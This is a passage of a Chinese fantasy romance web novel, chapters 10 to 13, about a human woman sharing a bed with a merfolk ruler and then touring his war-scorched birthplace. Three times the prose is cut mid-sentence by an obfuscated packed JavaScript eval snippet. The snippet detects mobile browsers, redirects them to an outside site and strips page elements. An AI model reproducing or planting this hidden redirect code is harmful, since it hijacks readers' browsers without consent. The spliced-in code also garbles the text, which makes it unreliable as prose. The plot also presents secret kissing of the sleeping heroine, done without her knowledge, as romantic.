陆雨娴抬起头,看向高不见海面的深海之外,有点茫然:“海底还能看到天黑的?” 看得出她是真不懂,连带着焦洋的语气也松了些许,耐着性子跟她解释:“普天之下,皆受日泽恩惠,即便是在深海之中亦然,见不到天日并不代表鲛族不受日月更替的影响。” 陆雨娴懂了,虽然鲛族的可见光并不来自太阳,但生物钟还是按照地球的公转自转来的,所以鲛族在天黑的时候也是要睡觉的。 奇了怪了,她道:“我刚刚睡了这么久?” 明明只听到焦洋喊了她几声,应该超不过半柱香的感觉,怎么会一觉又干到了天黑? 焦洋不语,只是一味地又往前游了游,直到整条身子都躺在了床上,鱼尾在上身后微微蜷着,微闭双眼。 两人就跟睡觉接力似的,陆雨娴刚醒又到了焦洋和整个鲛族该休息的时候了。 但她刚刚睡了觉大的,怎么可能现在就睡着,于是打算起身四处溜达一会儿。 “去哪?” 闻声,陆雨娴回头看去,焦洋还是闭着眼,但已经感受到了她要外出的动作。 “啊,随便走走。”陆雨娴一边回答着,一边庆幸焦洋没给她施牵制咒,慢慢往外挪。 焦洋:“回来。” 陆雨娴:“嗯?” 焦洋轻咳一声,言简意赅:“一起睡觉。” 11. 第 11 章 陆雨娴两眼发直,一身牛劲没处使,难受道:“但我睡不着啊,殿下。” 焦洋不由分说:“睡不着也睡。” 陆雨娴:“……” 没办法,她点了点头,鲛尊殿下的命令不可违背,眼下睡不着那也只能没觉硬睡。往周边看了圈,后殿似乎还有几个贝壳间和龟壳间,但不知道里头有没有床。 不过外面前殿有守卫床她是知道的,兜兜转转,果然保姆间才是她的归宿,但陆雨娴已经很知足,圆梦般地抬腿“回家”去。 “啪嗒”,一股强力将她拽回了五米半径大圆床边。 焦洋睁开了眼,目光中满含疲倦和怒意:“你为什么总是这么不听话?” 陆雨娴这次真没做错什么,感觉有点委屈,眨巴着眼解释道:“我听话啊,这不是按照你的吩咐要去睡觉吗?” 焦洋微怔,抬眼顺着她的目光看向外头的保姆间,对陆雨娴方才语气中不经意流露出的那些委屈瞬间了然。 这小人类竟然擅作主张离开他,不和他一起睡觉,宁愿去睡那个小守卫床? 若不是寒霜印多番叮嘱他若要维持情命牵的隐形状态,两人必须有一定的亲密,他能自降身份做这么多破事?她还不乐意? 高贵的鲛尊大人不仅要趁着小人类沉入深睡中悄悄和她亲吻,顺势为她渡灵力平呼吸,同床共枕也不可缺少。 这两件事必须每天常做,情命牵才能保持隐形。 不仅如此,这事也办得叫个狗狗祟祟见不得光。 按照寒霜印所说,得照顾女儿家的身份先瞒着人家姑娘。毕竟姑娘家脸皮薄,清白很重要。 既然可以瞒住,也省得以后再洗掉她的记忆,还担心亲密接触后会带来□□习惯性记忆,洗不干净带来更多痛苦。 但陆雨娴对此却并不知情,只感觉情命牵能隐形真是好他爹神奇啊,不知道焦洋已经被这东西折磨得快心里扭曲了,每天要念一百遍清心咒。 她现在精神的很,眼睛也是无比明亮清澈地看着他,声音清脆:“殿下,我可以过去了吗?” 焦洋别过头,按耐住心里的不痛快开始念清心咒,不再跟她对视,薄毯下蜷着的鱼尾尖鳍却在暗暗泛粉。 良久,殿内一片安静。 陆雨娴静静地等着,等焦洋高抬贵手,金口放她一句赦免。却不料—— “不行。” 焦洋拒绝了她。 陆雨娴歪头:“啥?” 他长睫微颤,方才的瞬间赧然似乎从来没出现过,语气又恢复到了平日的高冷矜贵:“你就睡这儿。” 不容违抗,没有留下丝毫商量的余地。 陆雨娴差点咬到自己舌头:“这不对吧兄嘚、咽——殿、殿下。” 焦洋狐疑地看着陆雨娴,幽蓝的眸子深不可测,无视了她的结巴,沉声道:“你又要违抗本座的命令?” “不不不,小的不敢。”陆雨娴联想想到那恐怖的蓝色火焰,连连摇头,谄媚地笑了笑,“但咱们昨天是情势所迫,今天就……”今天就没必要再睡在一张床上了吧?毕竟情命牵也没限制他们必须在五米之内了啊! 再怎么说她也是个黄花大闺女呢,每天跟个男人睡在一起像什么话?不对,雄性哺乳鱼也不行。 焦洋面不改色,只是缩了缩自己的鱼尾,用薄毯将越来越上爬着的泛粉微光遮得更加严实,清了清嗓子:“怕你死外边。” 陆雨娴:“……” 话糙理不糙,但是这话也太糙了。 虽然她心里清楚焦洋讨厌她还来不及,肯定不会对她做什么,两人一晚上必定又是盖着棉被纯睡觉,但这不是会不会发生什么的问题,而是节操问题! 她已经因为禁不住美□□惑跟焦洋亲过了,哪怕祖宗只是为了救她,但还是惹出了情命牵那样的“祸害”。所以她很难保证自己晚上会不会梦游或者兽性大发无意识地动手动脚,对祖宗做出什么禽兽事。 虽然她知道祖宗断情绝爱清心寡欲,但她也同样知道自己不是个什么好东西啊! 毕竟母胎单身两辈子了,陆雨娴可不敢想象和一条绝色美人鱼躺在一张床上,能不能按耐住自己的色胆。 陆雨娴想了想,小声试探道:“我应该不会死外边吧?” 说这话的时候她自己心里都没什么底气。 果真,只听到焦洋一声冷笑。 陆雨娴闻声,随即大拍鱼虹屁:“毕竟鲛尊大人您英明神武,我即便是睡在外面那张床上也还是在您的地盘之内,您打个响指的功夫就能掀起半片海,肯定不会有什么事的。” 焦洋盯着她,表情费解,似乎是没见过这么既怕死又找死的,残酷地说了两个既往事实:“你知不知道,像你这样虚弱的小人类,在海底随时随地都可能会一睡不醒?” 之前在藏宝殿陆雨娴被吓晕过去一次,吃完饭还能被困晕过去一会。 好像,确实。陆雨娴心里发毛。 就算没有鱼敢胆大包天侵犯鲛尊殿下的地盘,虽无外患而内忧仍不可避免,不需要什么刺激,她本身就是个定时炸弹,依然有极大可能突然挂掉。 陆雨娴老实了,点点头,终于回到圆形大床边,磨磨唧唧开始脱鞋子,屁股挪挪,腿半天也没踏到床上。毕竟一个女孩子又要睡到一只雄性的床上,她怎么可能心如止水。 焦洋见状,翘起了半边唇角,悠悠然合上了眼,开始假寐。 海里静得陆雨娴差点耳鸣,她躺在床上,本来就没有睡意,现在更是清醒得能做数学题。 想了半天,她还是忍不住转过身来看向焦洋:“鲛尊殿下。” 焦洋是真的困了,本来下午也消耗了他不少灵力,语气沾了淡淡的慵懒:“讲。” 陆雨娴:“就是……我知道鲛尊殿下担心我突然挂掉,但我也有些事想提醒您。” 焦洋“哼”了声,眼皮都没抬。 陆雨娴心一横:“虽然我知道我只是一个非常弱小的人类,而您神力无边,但为了保证您的安全,我觉得必要的时候您还是可以在我睡着的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235708|166074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候对我施牵制咒的,毕竟我睡相不好,也不知道有没有梦游的毛病……” 焦洋轻笑:“你觉得你能伤到本座?” 昨夜潮汐,是他最虚弱的时候,她都没发对他做什么,更何况今日他已经恢复大半,她身上的灵力本就来源于他且受情命牵制约,与他而言更如蜉蝣。 就算她是仙界派来的奸细,那也未免太弱了,让人不自觉地开始怀疑仙界那帮老头的智商。 他根本不需要顾忌陆雨娴,只要她别犯病发疯再自残就行。 “不是,”陆雨娴摇头,感叹自己刚刚说话还是太委婉了,索性挑明道,“我怕控制不住自己的本性。” 焦洋蓦地笑了,笑声不大,听起来很轻很远,缥缈而撩人耳弦,像一把小钩子,在陆雨娴的心口挠了挠,“本座可记得,陆姑娘之前多番否认。” “嗯?” “否认自己对本座有非分之想。” “……” 靠。陆雨娴搬起石头砸自己的脚,打心底里觉得这鱼没救了,她好心提醒他,结果又换来一顿嘲讽。 忍来忍去忍不了了,陆雨娴人类社会学情感课堂随即当床开讲—— “诶,伟大的鲛尊殿下,敢问你能不能理解一下什么叫做生理本能,什么又是真正的爱意? 生理本能就是异性相吸,这种吸引只关乎表面的□□,而和心灵无关,好看的皮囊到处都是,今天睡在这张床上的哪怕不是你,而是换成任何一个好看的男人女人,我都会想提醒一下的行吗?毕竟我担心我在梦中可能会不经意地冒犯而事先赔礼。 至于你说的非分之想那是关于感情的,有趣的灵魂才万里挑一,我再说一遍,我对你真没想法!” 一通说完,焦洋依然饶有趣味地看着她,左臂上的蓝鳍映出淡淡的幻粉,指尖勾了勾他耳后不自觉渐渐冒出的细小鳞鳍,泛着世上最名贵珍宝也比不上丝毫的奇异幽光。 他似乎是在耐心地等待着,听听她还能怎么狡辩。 陆雨娴暗道没救,放弃了挣扎,“算了,跟你说了你也不懂,反正就这样吧,你也困了,睡觉吧。” 焦洋挑眉:“真的没有其他话想对本座说了?” 陆雨娴板着脸:“没有。” 焦洋翻了个身,浅蓝渐粉的鱼尾顺在身前毯下,懒声道:“啊,那就好。否则本座担心你还有更多心里话没能说出来,憋在心里半夜都睡不着。” 陆雨娴:“?” 焦洋:“影响本座睡眠质量。” 水獭急了都是会炸毛的,陆雨娴在焦洋看不见的身后朝他猛猛挥了两拳。还影响他睡眠质量?就这种臭屁,此刻心里已经美上天了吧? “我无话可说。”陆雨娴面带愤怒的微笑,左拳挥向空气,右拳软绵绵打在了床榻上,“你开心就好。” 焦洋“噢”了一声,随之殿内的夜明珠尽数熄灭,深海之宫沉入寂静。 陆雨娴也闭上了眼,无边黑暗中,分明听到耳边又传来低低的轻笑声,仿佛是她的幻觉。 12. 第 12 章 翌日,也不知道天亮没亮,陆雨娴便醒了过来。 天亮不亮她不知道,但她可以知道殿内的夜明珠都没亮,便可得知焦洋还在睡着。 一想到鲛尊殿下也是个喜欢睡懒觉的,陆雨娴便愈发坚定,宇宙的尽头必然是睡觉躺平。 她翻了个身,挣扎着坐了起来,因为焦洋还没教过她点亮夜明珠的口诀,她睁着眼,依然伸手不见五指,偶尔从头顶上漏下一丝丝波光,折射着满屋宝藏才不算全黑。 她有些费力的伸了个懒腰,又揉了揉胳膊,奇怪的是,这一觉醒来,竟然没有前两次晕倒后醒来得神清气爽。 这一觉就跟没睡似的,甚至起了反作用,她隐隐觉得自己的身体状态还不如被焦洋强压着睡觉前有精神,就连口腔中应该随着泛起的那股清冽也消失了。 陆雨娴觉得不对劲,思绪飘得很远,一个不留神,摇头晃脑的时候用力过头,把脖子扭了,“嘶”地发出一声轻呼。 话音刚落,靠近她那边的床头架上安着的夜明珠便亮了起来。 陆雨娴以为自己这声吵醒了焦洋,刚准备回过头去磕头谢罪,而焦洋依然慵懒地闭着眼,神情放松,睡得正香。 难不成唯独这盏夜明珠被焦洋改成声控的了? 那还算他有点良心。 陆雨娴扬起唇角,面色愉悦,毕竟摆脱了黑暗,迎来了曙光,即便是微微微弱的,也情不自禁地点头称快。结果一个不留神,又给刚刚扭了的脖子来了个二次伤害。 “我靠!”这下的痛感比方才强了好几倍,陆雨娴没来得及反应压低声音,一口国粹脱口而出。 骤然,满室的灯都亮了,室内恍如白昼。 “草。”陆雨娴的眼睛还没适应得了这样突然的明暗变化,条件反射地闭上了眼。 一边心想完蛋了,这一整殿的夜明珠不会都是声控的吧,亮成这样,肯定给祖宗大人照醒了。反过头来一想,就算不是声控的,人控更完蛋,说明祖宗不仅醒了,还能有意识地掐诀开灯。 回头一看,睡美鱼焦洋竟然还能安详地闭着眼。就是感觉他的眉眼似乎没之前那样舒展了,还莫名感觉他的肩颈也有点僵。 难不成祖宗睡觉也会落枕? 陆雨娴愣在原地,一时间手足无措,干什么都不合适,思来想去,还是装死比较合适。他不问,她不说,他一问,她惊讶。 于是,陆雨娴梗着受伤的脆弱脖子,缓慢地又躺回床上,尽量装作什么都不曾发生过,就像她一直都睡着。 神奇的事情发生了,就在她闭上眼的那瞬间,眼前再次陷入黑暗。不止是闭上眼什么都看不见的那种,她能感觉到,眼皮之外的殿内也陷入黑暗,夜明珠熄了灯。 陆雨娴指尖不由收紧,左手指尖紧紧扣住床榻,忍不住悄悄睁开眼,想确认自己的猜测。 却没想到,她竟依稀看到了一个人影在她面前晃了晃。 显然,这个人影除了焦洋不会再有别人。陆雨娴还在纳闷,他方才明明醒了为何却又不降罪于自己,又听见耳畔远远传来一声轻唤:“以深海之力,愿沉入梦乡——” 随即,她失去了意识,也听不见他后面的话语。 再次醒来的时候,室内已经大亮,还有几分嘈杂热闹,给人一种即便在海底也能感到太阳已经照屁股了的睡过头的惊慌。 陆雨娴猛然回神睁眼。焦洋已经下了榻,斜靠在书座旁,半条鱼尾垂着,悠然淡漠地翻着手中的竹简,而另一边,是喋喋不休地指导着他翻书目录的寒霜印,周围还有几个小水灵给他叽叽喳喳端茶倒水,上古神器非常受用地享受着。 陆雨娴一拍脑袋,暗骂自己跟头心大的猪似的,这么亮这么吵的环境下竟然还能睡得这么沉。 但又惊奇地发现,还得是这种近乎昏死过去的睡觉,果不其然,她“回笼觉”睡醒后,那种精神完全回满的感觉又出现了,唇舌间也重现了那丝清冽深海之息。 只是这次的味道比前几次还要浓上几分,陆雨娴迟疑着推断,难道说这味道的深浅其实和睡觉时长呈正比关系?那她中间醒来的一次又算什么?那时候分明什么气息也没感觉到。 睡饱了之后的陆雨娴心情大好,见焦洋忙着,只字没提他们昨晚同床共枕的事,也不想再回忆纠结中间像梦游般醒来的那一次到底是真是假了,穿上鞋走到了焦洋书案边。 “醒了?”听到她走过来的动静,焦洋头也不抬地问了句。 虽然没什么大反应,但语气却是平和稳定的。 陆雨娴点了点头,“嗯。” 不知道为什么,陆雨娴总觉得焦洋今天的心情似乎不错。他放下书简,抬头看向她,素日里结着冰的幽蓝眸子今日却像有一汪水在中央泛着涟漪,勾唇道:“既然如此,出发吧。” 陆雨娴没反应过来:“啊?” 焦洋已经起身:“不走?还想睡一觉?” “不是。”陆雨娴刚坐下来屁股都没坐热,又扒拉着起身跟上他,一边腹诽这鱼什么毛病总喜欢喊人睡觉难不成还没觉硬睡,一边追问,“鲛尊殿下,去哪?” 焦洋回头,微微一笑:“去看看我们的部落。” - 终于能游出这个宫殿看看外面的世界,陆雨娴不由得开始期待起来。 她不是一个喜欢经常在外面玩的人,大多数时候喜欢在家里宅着,或者窝在宿舍睡觉。但那一切的前提都是因为她的假期少的可怜,出去玩了就没时间好好休息,才不得不趁着假期多睡觉。 但现在她手握大把假期,这长假漫漫没有尽头,想干什么就干什么的感觉未免太爽。 尤其还是祖宗带着她自驾“游”。 焦洋负责往前“游”,她也负责躺着“游”。 根据现代人类科学探索可知海洋面积是陆地面积的两倍有余,按理来说,焦洋这鲛尊才是地球球长。 但鉴于她也不清楚这世界还有没有地球一说,宇宙外太空和天庭仙界是否并存,唯物主义又怎么解释术法……太烧脑了,根本无法细想。 为了避免陷入困苦,她放空脑袋,安心欣赏海底景色。作为地道的本硕海洋系学生,随着他们上游的区域越接近海面,她看到的相熟的景观和物种也越来越多。 海底虽深,但有焦洋在的地方便充满了光,印象中什么可怖的黑暗深海竟多了几分梦幻,巨大的珊瑚礁如林遍地,海草在浪中漂浮着,翕动着的贝壳上还趴着发光海葵,小鱼在珊瑚丛中游来游去。 偶尔,远处有蓝鲸和白鲨游过,但和他们互不干扰,徐徐扇动着鳍,看似速度缓慢,实际却像浮岛般,转眼间已经游出了很远,海底小鱼和水母也没有对他们的出现感到震惊,就像没看见他们似的。 适时,又一条小鱼游过,陆雨娴伸出手,以为这下它总会避开了,而出乎意料的是,那条小鱼直直往她掌心撞了上去。 小鱼摆动的鱼尾停了一下,换了个方向,想要若无其事地离开,但不巧又要命的是,它竟往着焦洋的身上撞了。 “诶!”陆雨娴出声,但小鱼不知是没听懂还是没听见,总之没有反应。 “别叫了,它感知不到你。”焦洋淡淡道。他暂时还不想被任何鱼或海底外片区中的生物知道他出关的事,所以封闭了他们的气息,隐形于海,绝大多数事物都察觉不到他们的存在。 他侧了身,避开小鱼游来的区域,习以为常。 陆雨娴想,到底是他从小长大的海底,他的行为举止,多少保留了从前的肌肉记忆。 但这儿虽然漂亮,却是无与伦比的海底自然景观,依旧没有鲛族生活的痕迹,不像是部落聚集地。 陆雨娴疑惑地问了句:“还没到吗?” 焦洋:“到了。” “但是……” “但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235709|166074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们部落迁徙,现在已经不在这边。” 陆雨娴没明白:“好端端的为什么要迁徙?”费时费力不说,毕竟是生活了这么久的地方,多少是不舍的。 焦洋垂眸,没有立刻回答她的问题。 但无声之间,她们又前进了几海里,再映入眼帘的景象已经给了陆雨娴答案。 骤然,一条海底裂谷出现在了眼前,若不是焦洋还拉着她,陆雨娴差点被卷进深渊。裂谷中的漩涡和海浪就不远不比珊瑚附近宁静和平,处处是肉眼难以察觉的陷阱,自然风暴尚且如此,遑论那些有活化石之称的海底甲虫和多足软体动物。 但在焦洋的保护下,裂谷上的危机不值一提,轻松度过,而陆雨娴的心情并没有随之感到放松。 裂谷如一条分界线一般,将南北分成了两块截然不同的区域。南岸上生灵轻跃,满是活物的灵气和升级,另一边,却完全是一片焦土。 这片焦土在这片海架上蔓延着,一直往北,到很远的地方,看不到边界。她头一次在海架的沙地上感受到了干涸与枯竭,明明被海水浸润着,地表上却纹路斑驳,四分五裂。 裂痕或是被烤灭了的焦黑色,定睛看去,甚至留了几抹红,分不清是血液抑或岩浆,不溶于水,包裹了一层黑气,经年几世,依然残留在那里,不灭不去。 她的情绪随之低落,斜躺着的姿势也换了换,直起身,双手拎起浮动的裙边。 四周充斥着旋浪冲刷焦岩的击打声,在沙和岩浆上滚过,发出细小却密集得此起彼伏的刺啦声。 除此之外,她连自己的呼吸声也听不到,更感受不到焦洋的动静,却又有些恍惚又有些真切地觉得自己周遭的海水温度似乎又变低了。 不比之前凉,只是从四面八方席卷过来,带着整片焦土区域暗处的悲哀,细细密密钻上她的身躯,冻到骨髓。 忽然,她听到耳边传来他的声音。 缥缈沙哑,淡漠得仿佛不沾染任何情绪,只是平静地向她阐述着一段过往,又或者只是顺带向她介绍一句无关紧要的事。 “这里是我的出生之地。” “抱歉。” 一时间她不知道该作如何反应,只好低低地回了一声。 即便面对着这样的废墟,无所不能的鲛尊大人脸上也没出现丝毫脆弱的情绪。 焦洋疑惑地转头看向她,沉默了会儿才回道:“无妨。” 陆雨娴不是那种对别人隐私好奇的人,但此刻也很想知道,他身上究竟发生过什么事情。 可是,出于两人的关系,实际上连朋友都算不上,只能收回目光,无声地叹了口气。 焦洋往前游动的速度没有停下,甚至加快了不少,看样子他不想在此处停留。 陆雨娴也对这块海底焦土片区没有半分好感,若是能快些游过到达下一个区域,又能见到不一样的海底风景,此刻沉闷的心情亦能随时释怀。 但就当他们即将离开时,焦洋前进的方向急转直下。 惯性使之,陆雨娴瞬间被抛得很远,焦洋抬起手往右侧收拢,她这才随着海浪重新被牵引回来。 “我们……”她出声疑惑,却没完全问完。 焦洋不语,脸色实在难看。 动作已经先于他的情绪和思考,转眼之间,他们已经落在了一片浅沙土地上。 之所以称为沙土地,是因为这一块是这片唯一的净土,与一旁焦黑的岩浆地对比鲜明。 沙土的尽头,是一座座已被侵蚀石化了的珊瑚礁与珠贝。焦洋落地后的移动速度变得极缓,方才电光石火间的空间穿梭仿佛只是陆雨娴的幻觉。 低气压之下,陆雨娴随之放慢了步子,压低了呼吸。可她随即又意识到,焦洋此时是封闭了他们的神息的,即便珊瑚礁中有鲛族,他们也无法感知到她的存在。 但她耳边却传来一阵若有似无的哭啼。 13. 第 13 章 那阵哭啼,又轻又低,若不是她有意压低自己呼吸动作,很难发觉。 陆雨娴微微偏头看向焦洋,他的神色始终如常。但她想,他一定是听到了。 这里只是战乱岩浆魔火流过后的残迹之外一隅,远不足以滞住他的行程,突然往前停留。 焦洋表情向来极淡,而此刻表情绝对称不上放松和愉悦,反而是一种淡然的悲哀,看到散落着的残骸时表情微变。 但眼底的那分恻隐也只是一闪而过,很快就恢复了当初的超脱清冷,仿佛这个世界的悲欢离合,沧海桑田的世事变迁都和他无关。 他只是俯视这个世界的过客,一个置身事外的旁观者。 但他眼前那一闪而过的恻隐和悲哀又是真的,他分明也是有情绪波动的。 只是不止为何,最终还是自抑地压了下来。 他有意强迫自己,不去在乎这些,正视着这些苦难,将这些苦难视为不可避免的经过,发展的必然,甚至,这些苦难只是众生挣扎纠缠才会发生的自作自受。 声音,那丝丝声音透出的情绪,才会让他随之反应。 鲛尊之于海洋众生,不自觉的,已经超过他理智的,最为本能的反应。 他无法割舍。正于他虽压抑感情,却仍于出关后先到达了这里。 正如现在,他因着声音的发源之地,极缓极慢地走着。 近乎出于某种本能,陆雨娴想要跟随着他,似乎这样,无声地支持着,告诉他,这次他不是一个人来。 他身边有了同行的人,即便她帮不上什么忙。 但似乎因为陆雨娴的存在,焦洋本欲扭头残忍离开的动作真的停住了。 陆雨娴亦不知为何,其实她从今天回笼觉起,就感觉脑袋比平时都清醒。抛开唇齿间的那股清冽气息不说,她似乎都能感受到焦洋的几分情绪。 隐隐地压抑着,像无边的海。 焦洋的步子最终还是停在了声源的数十米之外。 那哭声轻而凄厉,陆雨娴心中的不忍盖过了拘束。 她迈开步子往那边走去,冒着被焦洋训斥的风险,还是无端想着,或许她能为这哭声做些什么。 那哭声隐匿于错综复杂的珊瑚礁之中,因为石化的缘故又比一般的活珊瑚大了好几倍。 正因如此,这处稀拉遗落的形如宫殿一般的珊瑚和珠贝柱才会在茫茫焦土之上打眼。 “你干什么?回来!” 焦洋没料到一向老实巴交跟在自己身后的陆雨娴会突然冲上前,惊怒之余更多的竟然是慌张。 小人类不知天高地厚左不过是无知者无惧,根本不清楚对面的实力足够杀她花式死八百回。 但在她即将靠近声源处前,焦洋已经大手一挥掀起一阵巨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240892|166074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浪。 这阵巨浪比陆雨娴之前见过的所有海浪加起来还要大,无异于海啸级别。 她意识到祖宗这次是真生气了,以前那些不过是小打小闹逗她玩。 “是深海之王,鲛尊大人显灵了!” 她犹自惊讶,却听到浪声之外的浅沙地上已是一阵沸腾。 “你……”陆雨娴看向焦洋,不明白他为什么会突然出手。 焦洋怒道:“没有本座的允许,你怎么敢独自上前?” “我……”陆雨娴想为自己辩解什么,但说什么都迟了,只能讷讷道歉,“对不起。” “毫无悔意。”他冷声道。 他再清楚不过她在想什么。 但在埋怨她的莽撞之余,又有些自责。 伪装之下,他骗不过自己。他分明也是想上前的,但碍于几百年前的那场气话和赌局,迟迟放不下身段迈不开步子。 反倒是陆雨娴,她像个意外,一个莽撞而无惧愣头青,像一颗惊天石子,直接闯了过去打破了表象。 激得他好不容易平复的心水又泛起涟漪,一圈圈地往外扩,某种修炼许久才消失的不该有的多余情绪又开始慢慢复苏。 是了,如果要拦着她,他自然有千百种办法。 但他心里分明也是想的。 任由她放纵。 也是在放纵自己。